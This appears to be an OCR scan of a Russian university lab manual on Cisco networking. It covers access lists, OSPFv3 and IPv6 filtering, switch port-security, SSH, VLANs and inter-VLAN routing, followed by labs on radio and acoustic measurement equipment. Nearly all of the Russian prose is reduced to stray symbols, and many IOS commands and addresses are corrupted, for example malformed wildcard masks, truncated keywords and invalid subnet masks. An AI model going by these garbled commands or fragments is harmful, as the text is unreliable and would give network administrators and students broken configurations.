-1 '$ - 192.168.20.11 2 # 1
-1 '$ - 192.168.30.34 3 # 1
6 :
R- (config)#access-list 12 deny host 192.168.20.11
R- (config)#access-list 12 deny host 192.168.30.24
R- (config)#access-list 12 permit any
R- (config)#int f0/0
R- (config-if)#ip access-group 12 out
! # , - / % -
! # # 1, # - 1 % deny any — -
# # .
*# ! I # I #

.8.1. (
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+ # / 3,,% % (%
ACL):
R- (config)#ip access-list standard ACL
R- (config)#deny host 192.168.20.11
R- (config)#deny host 192.168.30.24
R- (config)#permit any
R- (config)#int f0/0
R- (config-if)#ip access-group ACL out
*# ! I # I #
2 5.
) %' ( .81 YV % # ' ,
- 1$% - % 2 # 1 telnet;
- ' 1$% - % 2 # 1 % % ., % ,
% ping ICMP.
* # , % '
Router_A(config)#line vty 0 15
Router_A(config-line)#password cisco-1
Router_A(config-line)#login
Router_A(config)#enable secret cisco-2
# % ' RA  $ 192.168.20.11:
>telnet 192.168.10.1
Password:
R-A>ena
Password: ( # )
R-A#conf t
+ % , -2 % ' , % , % %
R-A(config)#hostname Router_A
Router_A(config)#
% :
>ping 192.168.10.1
* %% # % telnet ping!
, % 123 1$ % - % 2 # 1 telnet
‘23 # 1 % ping.:

Router_ (config)#access-list 102 deny tcp 192.168.20.000285 192.168.10.0 0.0.0.255 eq 23
Router_ (config)#access-list 102 permit ip any any

Router_ (config)#int s0/3/0

Router_ (config-if)#ip access-group 102 in

% A ( 192.168.10.1)  $
192.168.20.11.

>telnet 192.168.10.1
% . >ping 192.168.10.1
* %% # % telnet ping!

IPv6
, % | % ! ! ( .73).+ # % '
2911, %% - 2960. | %
, , I %' .
, OSPFV3 | %' /
R-A(config)#ipv6 unicast-routing
R-A(config)#ipv6 router ospf 1
R-A(config-rtr)#router-id 1.1.1.1
R-A(config-rtr)#int g0/0
R-A(config-if)#ipv6 ospf 1 area 0
R-A(config-if)#int s0/3/0
R-A(config-if)#ipv6 ospf 1 area 0
*O# # , , # % show run, show ipv6 route ping.
# %% 2 !
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2 6.

, % IPv6, 3 ! % % 2001:db8:a:3::/64 -
# 2001:db8:a:1::/64, # " # . # , s0/3/0 R-A.
R-A(config)#ipv6 access-list ACL

R-A(config-ipv6-acl)#deny ipv6 2001:db8:a:3::/64yan

R-A(config-ipv6-acl)#permit ipv6 any any

R-A(config-ipv6-acl)#int s0/3/0

R-A(config-if)#ipv6 traffic-filter ACL in

*

# # , , # % show run, show ipv6 route, show ipv6

int, show access-lists.

*# , - ACL % % ping.

# %% # 2 !
7. :
1. 2 , % -2 1 OSPF ! / ?
2. $ Hello OSPF? 6% #2 ?
3. I - 1% % Hello?
4. OSPF % %' , % - ?
5. ! / 1 2 , % -2 ?
6. % $ % OSPF?
7. , % % , OSPF2?
8. # " # I % - IP- ?
9. # $/ 1 $ IPv6- [ ?
10. IPv6?
11. #/ # 2 IPv6- [ ?
12. 23/ # I # ?
13.+ $2 # # ? $ 1 2
14. 2 % I % # # B %! $ ., - # 1%
IPv6?
15. , % % , OSPF3?
16. $% $ , OSPF2 OSPF3?
17. $ I % ICMP? 13 ?
18.* % IPv6, # % - $!/
-1 1& $ 1 ! .
19.* % IPv6, , # % %/ -
% EUI-64.

0 -2%
+ , <. ] (O ) )., e-mail:

vasin@psati.ru, . (846) 332-08-05

+ : 10.05.02+, % - ! # %% - / %
3 , % - % / .
, : % $ , % - , %% -
'$
1. :
* 3 / % 3#2 L #
2. * ,
8 - ' I3 % - ! ;
/ , # % , /o .
#/ / #/ % Packet Tracer.
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3. " -

% #2 , ! %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
5" :
1./ %% - D B! 1)) = i)+ , 2017. . 288-300.
2 % $ , % - : %% - C 8! %
[ .. % y e .9 % V)Y v ! N .=
:0 , 2016. . 220-228.
6. " < )
1. # % Packet Tracer # ! /% ! Io-
( .8.1).+ # % 2911, %% - 2960. /%
$ .
2., % I %' , %
% /% . , .
3. 1% $ % (% #2 ) $# # IP- , 2 %
'2 % $ 2 ! % ( .8.1).
4.) | %' / . %$ 2 %' -2 # % -
RIP.
5. * , -2 I %' % % show ip route show running-config,
show ip interface brief % ' $ .
6. * # ! I # # % % ping tracert. 7
6
.8.1.(
2 1.
, , B! 1! # %
192.168.20.11 2, # 2 3 % ! # 1 -
# , FO/0% ' R-A.) % (10) !
1-99. % % :

R-A(config)#access-list 10 permit 192.168.20.11

R-A(config)#int f0/0

R-A(config-if)#ip access-group 10 out

*# ! I # T - %% # 2

2 2.
11 I # % % 2 % 3 %
192.168.30.11, # 3 1 % # . # -
, FO/0 Router_A.
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/' % # # 2 % (WildCard mask))
|

iq % $2 ! Il 23/
- 23/ , -
% ! % ,% 0.00.0 Il /
! 'y # 1 . 0.0.0.255 ' $
$ # ) - % 10S% '
# % # % WildCard
host . 192.168.30.11 0.0.0.0 #2
host 192.168.30.11 1 rr# #
R-A(config)#access-list 11 permit 192.168.30.11 0.0.0.0
R-A(config)#access-list 11 permit 192.168.20.0 0.0.0.255
R-A(config)#nt fO/0
R-A(config-if)#ip access-group 11 out
" I
#
2 3. . .81 YV % # ,
- '$ - 192.168.20.11 2 # 1,
- '$ - 192.168.30.34 3 # 1,
6 :
R- (config)#access-listi2deny host 192.168.20.11
R- (config)#access-listi2 deny host192.168.30.24
R- (config)#access-listLl2 permit any
R- (config)#nt fO/0
R- (config-if)#ip access-group 12 out
! # , -
! # # 1, # - 1
# # .
" Loy
2 4.+ # / 2 3, %
(% ACL):
R- (config)#p access-lisstandard ACL
R- (config)#deny host 192.168.20.11
R- (config)#deny host192.168.30.24
R- (config)#permit any
R- (config)#nt fO/0
R- (config-if)#ip access-group ACL out
" I #
2 5.
) %' ( .81 YV % # '
- 1$% - % 2 # 1 telnet,
- ' 1$ % - % 2 # 1 %
% ping ICMP.
* # , % '
Router_A(config)#ne vty 0 15
Router_A(config-line)password cisco-1
Router_A(config-line)tbgin
Router_A(config)#nable secret cisco-2
# % ' RA  $
>telnet 192.168.10.1
Password:
R-A>ena
Password: ( # )
R-A#conf t
+ % , -2 % ., % , % % :

R-A(config)#hostname Router_A
Router_A(config)#

% :
>ping 192.168.10.1
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% deny any—

% , %

192.168.20.11:

%



telnet ping!
, % 23 1$ % - % 2 # 1 telnet
‘23 # 1 % ping.:
Router_ (config)#access-list 102 deny tcp 192.168.20.0 0.0.0.255.162.10.0 0.0.0.255 eq 23
Router_ (config)#access-list 102 permit ip any any
Router_ (config)#int s0/3/0
Router_ (config-if)#ip access-group 102 in
% ' A ( 192.168.10.1) $
192.168.20.11.
>telnet 192.168.10.1
% . >ping 192.168.10.1
telnet ping!

IPv6
, % | % ! ! ( .73).+ # %
2911, %% - 2960. /%

, , I %' .

, OSPFV3 /| %' / . %
R-A(config)#pv6 unicast-routing
R-A(config)#pv6 router ospf 1
R-A(config-rtr)#outer-id 1.1.1.1
R-A(config-rtr)#nt g0/0
R-A(config-if)#ipv6 ospf 1 area 0
R-A(config-if)#int s0/3/0
R-A(config-if)#ipv6 ospf 1 area 0
*# # , , # % show run, show ipv6 routg ping.

# %% 2 !

2 6.

, % IPv6, 3 ! % % 2001:db8:a:3::/64 -
# 2001:db8:a:1::/64, # "# . # , s0/3/0 R-A.
R-A(config)#pv6 access-list ACL

R-A(config-ipv6-acl)#leny ipv6 2001:db8:a:3::/64 any

R-A(config-ipv6-acl)#ermit ipv6 any any

R-A(config-ipv6-acl)#nt s0/3/0

R-A(config-if)#ipv6 traffic-filter ACL in

*H# #

, , # % show run, show ipv6 route show

ipv6 int, show access-lists
*H# , - ACL % % ping.
6 !
7
1 $ # 2 ?
2.) $ % ' , $ , % ' -
?
3. % % # ?
4. ( 2 ?
5. 2 ?
6. 2 ' ?
7. % - 2! ?
8. $ 1 , - % ?
9. , % % ?
10 , % % ' ?
11. , % % , ?
12. %2 % ?
13 , % % IPv6? ! , -
IPv6?

0 -4%
+ , <. ] (O ) ) ., e-mail:

vasin@psati.ru, . (846) 332-08-05
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+ : 10.05.02+, % - ! # %% /
3 , % - % /
, : % $ , % - , %% -
'$
1.
* | ! - ! %% I # ,
%%
2. %
# - , - %% R %% - ( -
I $ , % - ! %% , %
#/ #/ % Packet Tracer.
3. " - (
% #2 , | %% -
. Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
, %%
5"
1. / %% - TS 1)), .= +) + , 2017. . 304-335.
2. % $ , % - : %% - oS! %
I .. % ,t. .9 % V) ) , , ., .. #
.— .:0 , 2016. . 228-232.
6. " (< )
! ! ( .9.1), - 1 .91
9.1 (
* 9.1- , % '
92
1 NIC 10.1.10.2 255.255.255, 10.1.10.1
2 NIC 10.1.10.2 255.255.255, 10.1.10.1
. 3 NIC 10.1.10.2: 255.255.255, 10.1.10.1
S1 Vlan 101 10.1.10.1 255.255.255, 10.1.10..
1. ' # [ % ( .9.1).
2. # 2 , % -2 % #2 |/ 1,. 2,. 3 I - 9.1
3. # # # % :
Switch>enable

Switch#how run
Switch#show start
Switch#show vlan brief
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Switch#show int vian 1

Switch#show ip int vian 1

Switch#show int f0/1

I # % , (2% —up 2% down),
/ IP- - , % # % % vlan %%
4. # % %% %:

Switch(config)thostname Sw-A

Sw-A(config)#ine console 0

Sw-A(config-line)#password cisco-1

Sw-A(config-line)#ogin

Sw-A(config-line)#ine vty 0 15

Sw-A(config-line)#password cisco-2

Sw-A(config-line)#ogin

Sw-A(config-line)#xit

Sw-A(config)#enable secret cisco-3

5. + # % exit, # # # 1% . % # -
1% . 1& # K % sh run. -
, %, , ? Y, O# #
#/ [ ?
# ', / X !
6. , # IP- %% % % 2
23 # # # vlan 1, 2 2 / .
*6 % $ 23 % # # #2 # % % % ,
% vlan 101, , '2 % $ 2 (10.1.10.11)
% #2 .1, 02, 3.

Sw-A(config)#lan 101
Sw-A(config-vlan)#xit
Sw-A(config)#nt vian 101
Sw-A(config-if)#ip add 10.1.10.11 255.255.255.0
Sw-A(config-if)#no shutdown
7. # % , - :
Sw-A#sh vlan brief
Sw-A#sh int vian 101
* %% # $ #

8. * # fo/1 vlan 101:
Sw-A(config)#nt f0/1
Sw-A(config-if)#switchport access vlan 101

9. # ‘2 % $ 2
Sw-A(config)#ip default-gateway 10.1.10.1

10. # % , - :

Sw-A#sh run

Sw-A#sh vlan brief
Sw-A#sh int vian 101
Sw-A#sh mac-address-table

* %% # $ # .
11. % #2 .1 # %%
1>telnet 10.1.10.11
12. % #2 .1 1% % .- %% ,
% , % # % %% SL.
13. ' # , # % exit.
14.0 # % .- %% , 1% %%
CLL.
15. # % :
Sl1#show mac-address-table
% # $ 5% .1& # $ # .
16. # , $ / % #2 % ipconfig /all % #2
.1, 2 . 3. # - .
17. # $ 2 # - % "' - , - % #2
1 Fa0/1 %%
S1(config)#mac-address-table static - vlan 101 interface fastethernet 0/1
*# I - %% - .
18. # $ 2 # - %% - H# I - %% -

, ! %%

164



19. , # ! # f0/1:
S1(config)#nt f0/1
S1(config-ify#switchport mode access
S1(config-ify#switchport port-security

# $ ! / , 1:
S1(config-ify#switchport port-security maximum 1
# 1% ! / sticky:
S1(config-ify#switchport port-security mac-address sticky
# 1% ' ! shutdown:
S1(config-ify#switchport port-security violation shutdown
20 # 32 , -2 - %% - % % show running-configuration
show mac-address-tabte. %% # $ # .
21. # % ping 10.1.10.11 % #2 L# # I - %% - -
%% # $ # .
22. # % ping 10.1.10.11 % #2 .o2.% %% 1 2% #
23. # % show port-security int fO/1 %% # $ # .
24. 2% # fo/1 %% ¥ , , # %
ping 10.1.10.11 % #2 . L
25. # % show port-security int fO/1.
26. $ # $ ! / 2:
S1(config-ify#switchport port-security maximum 2
27. # % ping 10.1.10.11 % #2 1.0 2
28. # % show mac-address-tableshow port-security int f0/1 %% # -
$ # .
29. # % ping 10.1.10.11 % #2 .3 %% # #
'$ SSH .
$! . # SSH %% ( .92 YV % #
%
9.2, , SSH %%
* # 1 # % %% , %
Switch(config)fhostname Sw-A
1% I # , ! # % % , - SSH,
% class
Sw-A(config)#p domain-name class
* SSH % $ 2% 2% RSA, 6 % !
# % 360 2048. % % 1024:

Sw-A(config)#rypto key generate rsa

The name for the keys will be: S-A.class

Choose the size of the key modulus in the rarig#60 to 2048 for your General Purpose Keys.
Choosing a key modulus greater than 512 may tdée aninutes.

How many bits in the modulus [512]024

% Generating 1024 bit RSA keys, keys will be+esportable...[OK]

, - # 2 % ( % , vas) # ( % , Cisl):
Sw-A(config)#username vas secret cisl
*27? 10:4:3.608: %6SSH5-ENABLED: SSH 1.99 hes@eabled

13 %, $ # 1.99. 3 % $ #
2, 2 I % # .
) SSH #/ / 23 # # %

Sw-A(config)#line vty 0 4
Sw-A(config-line)#transport input ssh
Sw-A(config-line)#login local
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Sw-A(config-line)#exit
Sw-A(config)#ip ssh version 2
# % , (svy ! , -

%% % 6, % :

Sw-A(config)#int vlan 101

Sw-A(config-if)#ip add 192.168.10.11 255.255.265.

Sw-A(config-ify#no shut

Sw-A(config-if)#exit

Sw-A(config)#ip default-gateway 192.168.10.1

% . U % , % # # 2 #2 # vlan 101 #

. $ , . % interface f0/19, % 2% # % #2

Sw-A(config)#vlan 101

Sw-A(config-vlan)#

%LINK-5-CHANGED: Interface Vlan101, changed st&b up

Sw-A(config-vlan)#int f0/1

Sw-A(config-ify#switchport access vlan 101

Sw-A(config-if)#

* %1 SSH # % #2 ( .63 -
% :
PC>ssh -l vas 192.168.10.11
Open
Password:
Sw- >
* 6% Telnet ! . % transport input all / vty
, - SSH, Telnet.
0 -2%
+ , <. ] (O ) ) ., e-mail:

vasin@psati.ru, . (846) 332-08-05

+ : 10.05.02+, % - ! # %% - / % ,
3 , % - % /
, : % $ , % - , %% -
'$ ( (
1. :
* #/ #/ [ VLAN. ! # , -
%% , % 2 VLAN.
2. * ,
# - , - VLAN, # % , VLAN -
! #/ %% #/ % Packet Tracer.
3. " - (
% #2 , | %% -
. ' Cisco 2811, %%
Catalist 2600, % #2 , % Packet Tracer.
4. 2
, %% , % 2 VLAN.
5. '
1. / %% - T 8! ). = i)+ , 2017. . 336-362.
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2. % $ , % - : %% - B! %

[ .. % y e .9 % V) ) y o] N -
.— .:0 , 2016. . 332-348.
6. "
$ #/ $ 2 %% -
12 # 2 #2 # VLAN, $ # % CLI.
1. # 1% ! ! , 2$232 # 1/ #1/ ( .10.12)
%% Sw_A, 2% . 0 f0/1, PC1 — f0/2, PC2 — f0/3, PC3 —
f0/4, PC4 — f0/5, PC5 — f0/6:
2. /% ( .101 ! .10.1) , # $/ [ #1 % #2 -
/. 0-. 5)IP- , % '2 % $ 2
.10.1.  # #
* 10.1- , - $/ #/ #1/
VLAN = 92
PC( 10.1.10.1
Vlan 10 PC1 10.1.10.2 255.255.255.0 10.1.10.1
PC: 172.16.20.1
Vlan 20 PC- 172.16.20.1 255.255.255.0 172.16.20.1
PC< 192.168.30.1
Vlan 30 PCE 192 168.30 1 255.255.255.0 192.168.30.1
% ! % , 1 # # # % IP- .
3. % sh vlan brief % # #/ , %% Eo-
%% # # .
4. # %% # 1/ #1/
Sw-A(config)#lan 10
Sw-A(config-vlan)#lan 20
Sw-A(config-vlan)#lan 30
5 * % sh vlan brief # % , - .
6.) $# # , ( # , % -
# % %), # % switchport mode accessswitchport access vlan= .. )1
% / - ( .10.2).
Sw-A(config)#nt f0/1

Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switchport access vlan 10
Sw-A(config-if)#int f0/2
Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switchport access vlan 10
Sw-A(config-if)#int f0/3
Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switchport access vlan 20
Sw-A(config-if)#int f0/4
Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switchport access vlan 20
Sw-A(config-if)#int f0/5
Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switchport access vlan 30
Sw-A(config-if)#int f0/6
Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switchport access vlan 30
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7. * -2 $ - %3#2 % show vlan brief * % -

% # # .
8. # , - , 6 % 2 % # %% %
Sw-A #copy running-config startup-config
9. % $ # , , % 1S $
# vlan 20 , FO/2, # % :
Sw-A(config)#nt f0/2
Sw-A(config-ify#no switchport access vlian
1 %1 # , f0/2 # , % , vlan 10:
Sw-A(config)#nt f0/2

Sw-A(config-ify#switchport mode access
Sw-A(config-ify#switch access vlan 10
! !

10.* ! % % ping, (tracert)* #
0O .1 % %#2 %
PCO>ping 10.1.10.12
PCO>ping 172.16.20.12
PCO>ping 192.168.30.12
11. # # . 6, 192.168.30.101 ( . 10.2), ..
% vlan 30, . 6 #/
, %1 # % 3 23/ #/ " -
! 6
.10.2" - #/ #/
( ( ( (
12. | # [ % ( .10.3).
. 10.3.VLAN I %%
/% . .103 , # $/ I ( #/ % #2 |/
. 6= 11)IP- , % '2 %% 2 .* # , %% Sw_B
vlan 10, vlan 20, vlan 30. # , , 23 %% % 1 ! , %
fo/7, f0/8, f0/9, vlan 10, vlan 20, vlan 30.
13 # ! I # LY % ping # .0 .1 %
%#2 %

PCO>ping 10.1.10.12
PCO>ping 10.1.10.13
PCO>ping 10.1.10.14
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PCO>ping 172.16.20.12
PCO>ping 192.168.30.12

+ !
7
14* # 1 # # # ! '3 # % , ..
# % IP- % % 1 % /' % % ' - 3.*6 %
%% /' % # % ' ( .10.4).
.104. # %1 % $ % '
15. % ' % /% # , %% -
Sw_ : FO/11, FO/12, Ff0o/18. 6 % FO/11 vlan 10, FO/12 — vlan 20,

FO/13 — vlan 30.

Sw_ (config)#int f0/11

Sw_ (config-if)#switchport access vlan 10
Sw_ (config-if)#int f0/12

Sw_ (config-if)#switchport access vlan 20
Sw_ (config-if)#int f0/13

Sw_ (config-if)#switchport access vlan 30

16.) % 2811 # , #/ , % ,
NM-2FE2W. % ! % , %' ! , - # 4 #/ -
: FO/0, FO/1, F1/0, F1/1.
17) %' # 2 , FO/0, FO/1, F1/0 ( $ #/ ), -
, 23 % 1 %
Router>ena
Router#onf t
Router(config)#t f0/0

Router(config-if)#p add 10.1.10.1 255.255.255.0
Router(config-if)#ho shut
Router(config-if)#nt f0/1
Router(config-if)#ip add 172.16.20.1 255.255.255.0
Router(config-if)#ho shut
Router(config)#t f1/0
Router(config-if)#ip add 192.168.30.1 255.255.255.0
Router(config-if)#ho shut

18* % shiproute % # - % ' -
Router#sh ip route
Codes: C — connected, S — static, | — IGRP, R 5 RIP mobile, B — BGP
D — EIGRP, EX — EIGRP external, O — OSPF, IA — O8Rér area
N1 — OSPF NSSA external type 1, N2 — OSPF NSSArmaxtéype 2
E1l — OSPF external type 1, E2 — OSPF external2yjge— EGP
i —IS-IS, L1 —1S-IS level-1, L2 — IS-IS level-& — 1S-IS inter area
* — candidate default, U — per-user static route,@DR
P — periodic downloaded static route
Gateway of last resort is not set
10.0.0.0/24 is subnetted, 1 subnets
C 10.1.10.0 is directly connected, FastEthernet0/0
172.16.0.0/24 is subnetted, 1 subnets
C 172.16.20.0 is directly connected, FastEtherfiet0/
C 192.168.30.0/24 is directly connected, FastEttara
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% , # , % ' $ #
& » 10.1.10.11 172.16.20.0, 192.168.30.
19 # ! I # % ping #
% #2 % . 6 .
) % % - %1 |/
# #/ , %% % '
$ #/ . 6 !
, 8/ %1 % % %1 '# %
2$23% # $ /
] $ (
20. ! # /% ( .10.5).* % %%
$ / %1 % ( .104) % 2 % %
. 10.5.*
%%
— FO0/0.
21. %% ! 23 %
Sw_A>ena
Sw_A#conf t

22.*

+ 1 %' - , $

Sw_A(config)#lan 10
Sw_A(config-vlan)#lan 20
Sw_A(config-vlan)#lan 30
Sw_A(config-vlan)#nt fO/1
Sw_A(config-if)#switchport mode access
Sw_A(config-ify#switchport access vlan 10
Sw_A(config-if)#int f0/4
Sw_A(config-if)#switchport access vlan 10
Sw_A(config-if)#int f0/2
Sw_A(config-if)#switchport access vlan 20
Sw_A(config-if)#int f0/5
Sw_A(config-if)#switchport access vlan 20
Sw_A(config-if)#int f0/3
Sw_A(config-if)#switchport access vlan 30
Sw_A(config-if)#int f0/6
Sw_A(config-if)#switchport access vlan 30
Sw_A(config-if)#int f0/10
Sw_A(config-if)iswitchport mode trunk
Sw_A(config-if)#"Z

% sh int f0/10 switchport% 1 % #
Sw_A#sh int f0/10 switchport

Name: Fa0/10

Switchport: Enabled

Administrative Mode: trunk

Operational Mode: down

Administrative Trunking Encapsulation: dotlq
Operational Trunking Encapsulation: dotlq
Negotiation of Trunking: On

Access Mode VLAN: 1 (default)
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.10.5).

%' -2 %1
4 1 #
0o %
v %
, 3 /
% "%
%
% (
F0/10,

(10.1.10.0, 172.16.20.0, 192.168.30.02

%

%

%

%



Trunking Native Mode VLAN: 1 (default)
Voice VLAN: none

Sw_A#
+ $ , $ FO/10 / 1% Trunk.
23. , % % ,$ , FO/0, % 2
ry F0/0.10, F0/0.20, F0/0.30. / ey , Dot
1q #/ 10, 20, 30* # # % I % " # 2% %
, no shut
Router>ena
Router#onf t
Router(config-if)#nt f0/0.10
Router(config-subif)#ncapsulation dotlq 10
Router(config-subif)# add 10.1.10.1 255.255.255.0
Router(config-subif)#t f0/0.20
Router(config-subif)#ncapsulation dotlq 20
Router(config-subif)# add 172.16.20.1 255.255.255.0
Router(config-subif)#t f0/0.30
Router(config-subif)#ncapsulation dotlq 30
Router(config-subif)# add 192.168.30.1 255.255.255.0
Router(config-subif)t f0/0
Router(config-if)#ho shut
24, . # , % sh ip route
Router#sh ip route
Gateway of last resort is not set
10.0.0.0/24 is subnetted, 1 subnets
C 10.1.10.0 is directly connected, FastEthernet0/0.
172.16.0.0/24 is subnetted, 1 subnets
C 172.16.20.0 is directly connected, FastEtherQe20/
C 192.168.30.0/24 is directly connected, FastE#t6/A.30
Router#
+ - % ' - ' $ 10.1.10.0, 172.16.20.0, 192.168.30.@2 -
% 6% % ! I $# %' -2 %1
% .
25 # ! I # % ping # I % #2
%1 ! . 6 .
26., % # %1l %% % ( .10.6)
. 10.6. %%
27 # ! I # % ping # I % #2
%1 ! . 6 .
0 -2%
+ , <. ] (O ) ) ., e-mail:

vasin@psati.ru, . (846) 332-08-05
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+ : 10.05.02+, % - ! # %% - |/ % ,
3 , % - % /
, % $ , % - , %% -
'$
1.
* | - %% - I # .-
% %%
2. * ,
# - , - %% - ,  # % , -
! #/ % ' %%
3. - (
% #2 , ! %% -
. ' Cisco 2811, %%
Catalist 2600, % #2
4. 2
, % %%
5" :
1. / %% - D B! 1)). — i)+ , 2017. 408.
2. % $ , % - : %% - © 8! %
/I .. % . .9 % v) ) , yoee ! A -
- .:0 , 2016. 363.
6. " (<
! ! « / %% - » 2% 6% '
2800, %  Cisco, 6 %% 2960, %  Catalyst, %3 / / %% - |/
" ( .11.1).
% , ! 2% 12 % #2 ,# / # 2 -
2% # % % %' -#2 , 6— 2%
%% % ( .11.2)./% # $
0 :
1. ! #  $ # ! ( ! - ) %#2 = 12,= 10,= 8,= 6,= 4,
=2 - % 23 &% (%% % % ).
2. %3H2 « $ - » # # , 1 %#2 = 12,
= 10,= 8,= 6,= 4,= 2 # % % %' 1% ( .11.2).
3.) %#2 |, 2% / # % % %' , # %%  Hyper
Terminal (PuTTY, Tera Term) # I % % .
4. # 2 , %-2 . % -
#
L1110 !



.11.2./%

5 . # % ' - (RIP2, EIGRP, OSPF) 2 -

6. * & . ! ! , % : ping, show run, show ip
route.. # $

0 -2%

+ , <. ] (O ) ) ., e-mail:

vasin@psati.ru, . (846) 332-08-05
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: ol { ; $

+ : 10.05.02+, % - ! # %% - / %
10.03.01+, % - ! #
, 1S 3 , % -
2 $
1. :
* $ / I/ 3 , % - $ , -
$ $ / - - &% $
, % - % # %% - % 1 -
&% , %- * # 0» ., # 23 % AR 5000 ).
2. * ,
# 132 % 2 - %1 /$ '
% % , 1& % , % - . # 132 % 2 % -
6,, / % %1/ / $ $
, % - % H % # % 1 %1/ / -
$ $ , % - . # % - - -
&% $ , % -
3. " - (
% #2 ! , - -
oo # » , # 23 % AR 5000 .
4. 2 :
5 $# $ % % ! %% - % % % 1 -
&% , %- , % oo # » , #
23 % AR 5000 ;
5 # -
5" :
23 %%  «++)  » (Filin) $ %% -
- / % - - &% , %- ,
23/ , % -2 % % 1 - #2 !/ -
! , $ / / / .
! ! $ ! # # , -
# 23 % AR 5000 .
$ # wave, . Wave, %1 | #
2! , 1% 11(- 8! ( % $ % % 3#2 /
Windows — % , %3#2 , ).
6. " < )
$ ! I/ % # 232 %% «"' »
1.1.) %%
1.1.1. % % 2 " I # ! , %
! | # %% . * ! 6 %
1),
1.1.2. 1 % % 2 " |
1.1.3) - « » "* 0 " % I # 23 -
% ! # # , I % 23 % ! ! -
. "* 0p "l % I # 23 % AR 5000A, ! -
# # $ % ! % ., %% % % %/
1.1.4. * # " % " % I #
") # " 6% $ % $ % -
$2 % 3#2 23 % ( .1).
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%

1.2, *
1.2.1.

1.2.2.
123,

1.2.4.
V%

1.2.5.

1.2.6.

. 3).

1

$ (.2
!
!
112
$! #
%3%#2 %'
l$l
% «,
#

I #

»

23 %
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1.2.7.*
1.2.8. !
1.2.9.
1.2.10.
- 3
- %
- $

%

2

midi

(

1

$

%

/

%

/

(
) $

% $
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%

, %

'l %%
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1.3.:
1.3.1.
# 1%
11
1.3.2.
%%
% # %
$
$

. 6. -1% ! !

% 2 « » I % % 2 " #

% 2 $
(.4
$ ! $ %%
% % 3 , % 1 1 $ /
- # % 1 11
« " $ $ % # $
$ # - # %
/ % - % % % % $
2 $ $ ( ) %
$ % / % - , 1 g
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1.4. $
% 2 " "ol

1.4.1. % % 2 "3 %

1.42. 6% I % | # % $ $ (.7

143" % % $

e $
7.
1. , - % %% - % % % (AR 5000 " )?
2.) ! $ % / %% - % % (AR 5000
* " )?
3. # % % 7
4.) $ % , % / % / %3 / ?
5. % / # %% - % % (AR 5000 * " -
)?
6. ) / . % ! . # 23 -
% AR 5000 ?

7. , $ # - ! ?
8. <# # , - !
9. # # ?
10. $ I % $ , (3 )?
11. ! # % %% - % % -

' 23
12. ' 23 % 1 # ?
0 -4%
+ , , <. Tt # 21 ! -

# $1 ' ! « - # # /'$
%. ). -+ »()+ -+ )+l (. , gskornilov@kai.ru
+ : 10.05.02+, % - ! # %% - / %
10.03.01+, % - ! # .
, 1$ 3 , % -
2 $
1.
I # - - ! - % 3 , | -
- %% % ! $ VNK-012GL.

2. * ,
5 # 13 / ; %1 /'$ ' % %

, 1& % , % -
5 %# % # % - ! - % 3
5 # % % - - | - % 3
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o1 o1 o1 o1 o1 Ol

o1 o1 o1 o1 OOl

= o

' - (
%% % ! $ |/ %
2 :

$# $ % %
$ 3 VNK-012GL;
# - -
%% % ! $
g "
- %% % !
- #/ $ / !
$ $ , % -
6,, % !
% % 23
- 6,, $ $
' [ %/ ;
- '$ #
/ % 3 $
- | - '
- %%
*# % #2 %
9% % -9000.
$ $ # SI-3100.
* # # -012GL.
% % / $ %
% #/ ! !
(* $ % 1
+ $# $ % %
$ 3 VNK-012GL.
* ! - %%
/ 1% ! /' %
! " % % 2. |
2.1. * 1% " | "%
% ' Windows.) 6
, / .
2.2.* % ' , |
* K ;
L ;
*+ > :

2.3. ! "+) L)KL

2.4. I % /

2.5. # %' .

2.6.)1% ' " "

2.7. 1%

2.8.) ") o+ " %

! % , 3
2.9. 23 23
/ (":+) L)KL ).
2.10. 23 "<+
2.11. ") S
2 1 ' F6.

2.12. # 0" )+ "

2.13. 1

2.14.
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% #2 ! . -
VNK-012GL * "™ % "
! - %% % % % ! -
! - % 3 % 3#2 -
3 VNK-012GL %% I''$
$ 3 VNK-012GL $
$ / % 2 - 611 -
% / % 3 . 1
$ 3
1% !
, % - 23% %
$
’ % -
% ! $ 3 VNK-012GL
%% % ' $ %
1, % AS-4).
$ # - )
< )
! - %% % % % ! -
% ! $ 3 VNK-012GL.
# %% " % " I #
23 # :
% % # -
, 1 "2 # " % -
23
; " , 1 "K. > "
# % 3#2 1
")+ 1 F3
" " / 23
! . 23 # %%
R 1% "FLAT"
$ , 23/ # 3% -
1



2.15. ! % #2 1% 1.

2.16. 23 1
) $ % $ S1-3100:
2% # "o _rgQ";
2% #  "POWER"-"OFF";
et
) %%
2% # "POWER" — "OFF";
2% # "DB" — "50-100";
2% # "WEIGHTING" - "C";
2% # "RESPONSE" - "S".
2.17. *% $ $ # - % % 3 ! -
#  15% . 123/ - % # %3 -
1 1# % % .
2.18. * 2% /  "OuT" I % &% % #2 . -
2% # | # % .
2.19. % "% % (100 3) % $ $
$ .
2.20. * % # % % "% %
1% ! ( % )
2.21. ) 2% # "LEVEL" 1 "0
2.22. 2% .
2.23. 2% "% % $ $ # .
2.24. % 3#2 $ $ # $
(94£1) . # "% %
2.25. %% " % " 1% " .
2.26. % ") +(): 1 % 1%
% , # % 80% % % #
2.27. * % 1 noon .
2.28.) 2% $ $ . 2% # / &%
2% % %% (% .2).
2.1% ( % )
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2.29. %% " O " 1% " "
2.30. * % , 1 "o
2.31. 2% $ $ # , "% % #
2.32. %% " O " 1% "( "
- ! ' L* ! 1
$ % $ % ' Windows % #
L x - % % 3
3.1. / % % 3
) & ;
) % % 3 :
) % 3
3.2. | $ ( ) 122 - %
3.3.)1% " "
3.4. | % # 2 1% ( .3).
3. 1% % - -
3.5. 23 1
$ % $ :
2% # "ot ="o0"
2% # "POWER" - "OFF".
# % - 2% # "LEVEL" - "0".
3.6.. % $ $ # - % % 3 |
1,5% 1 23/ - % # % 3
I # % % .
3.7. % , % # % # $
% 1,5% 1 23/ - %
% 3 .
3.8. 2% $ $ # # .
3.9. % % # % 1 # %
"LEVEL" $ % % "OVERLOAD"
-2
3.10. ) 1% " .
3.11. 2% "LEVEL" , 1 "
3.12. ) , 5% S$ 5-6 ' % , 1 "o
K 6% % $ % / $
